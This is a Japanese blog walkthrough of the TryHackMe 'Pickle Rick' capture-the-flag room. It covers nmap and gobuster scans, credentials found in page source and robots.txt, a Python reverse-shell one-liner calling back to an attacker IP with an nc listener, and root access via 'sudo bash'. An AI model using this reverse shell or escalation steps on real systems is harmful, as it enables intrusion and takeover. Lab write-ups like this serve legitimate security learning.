TryHackMeは教育プラットフォームとして大変優れているとは思うのですが、教科書をなぞるみたいなのが続くと飽きるので、たまにはCTFっぽいのをやります。難易度低いので初心者の方にもおすすめ。
Rick and Mortyというアニメが元ネタになってるRoom攻略です。
このアニメ見たことないんだけど海外では有名なのかしら…。私はザ・シンプソンズが好きなので多分これも好きな気がする。今度見よう。
Task 1 Pickle Rick
What is the first ingredient Rick needs?
nmap
なにはともあれお約束のnmap
export IP=ターゲットマシンのIPアドレス
nmap -sV -sC -v -oN initial.nmap $IP
22番と80番があいてるのがわかる。とりあえずブラウザでhttpにアクセスする。
パスワードがわからないと言われる。知らんがな。
ソースを見てみる。ユーザー名がわかる
Username: R1ckRul3s
sshで接続できるか試す
だめだった。別の道を探す。
gobuster
gobusterで他に攻略のとっかかりになるディレクトリがないか探す
gobuster dir -u http://$IP -w /usr/share/dirb/wordlists/common.txt
assetsディレクトリをみたけどめぼしいものはなかった
robots.txtをひらくとなにやらあやしい呪文が
使いどころがわからないので辞書を変えてもう1回。
なんか時間がかかりすぎるのでhtmlとphpとtxtにしぼって探索
gobuster dir -u http://$IP -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
portal.phpとlogin.phpを発見
アクセスしてみる。
Username: R1ckRul3s
Password: Wubbalubbadubdub
でログインできる。robots.txtの内容がパスワードだってどこでわかるの…?相当時間を無駄にしたんだけど(ぐったり
Command Panel
ログインするとコマンドパネルという画面がでてくる
lsコマンド実行
Sup3rS3cretPickl3Ingred.txt
があることがわかる
cat Sup3rS3cretPickl3Ingred.txt
を実行するとコマンド無効ですって言われる
less Sup3rS3cretPickl3Ingred.txt
Whats the second ingredient Rick needs?
base64
ソースを見ると意味深なbase64があった
Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==
しつこく何度も何度もデコードすると rabbit hole
っていわれた。は?(半ギレ)
https://note.com/language_ai_/n/n68b56e2193ba
grep
引き続き使えるコマンドをさぐる
grep -R ''
同じディレクトリにある全てのファイルが出力される。
ソースをみると以下のコマンドが使えないことがわかる
"cat", "head", "more", "tail", "nano", "vim", "vi"
python
pythonが動くか調べる
python3 -c "print(1)"
python3だと動くらしいことがわかる
先人の知恵に頼る
スクリプトのIPアドレスのところを自分のアドレスに書き換える
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.20.231",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ncコマンドで待ち受ける
nc -nvlp 1234
書き換えたスクリプトを実行するとシェルがとれる。
find
フラグのファイルが見つからないので探す。
find / -name second* |grep "second*"
ファイル名に空白が入ってるので普通にcatで指定すると失敗する(””でくくってもよい)
cat *
2個めのフラグが判明する。
Whats the final ingredient Rick needs?
sudo
sudoできるコマンドを知りたかったので
sudo -l を実行。
まさかの全部だった。大サービス。
bash
sudo bash
でrootになれる。
コンソールになにも返事がなくて心配になるけど昇格してる。
あとはがんばってrootディレクトリを探して3rd.txtの中身をみる。
ミッションコンプリート!
別解
sudoとlsがつかえるので普通にWEBからフラグが見れる
the second ingredient
sudo ls ../../../*
みたいな感じでフラグのファイルを地道に探していくこともできる。
catが使えないので、みつけたらlessコマンドでファイルの中身を見る
sudo less "../../../home/rick/second ingredients"
the final ingredient
根気があればsecondと同様の手順で探すことができる。
sudo less ../../../root/3rd.txt
Try Harder!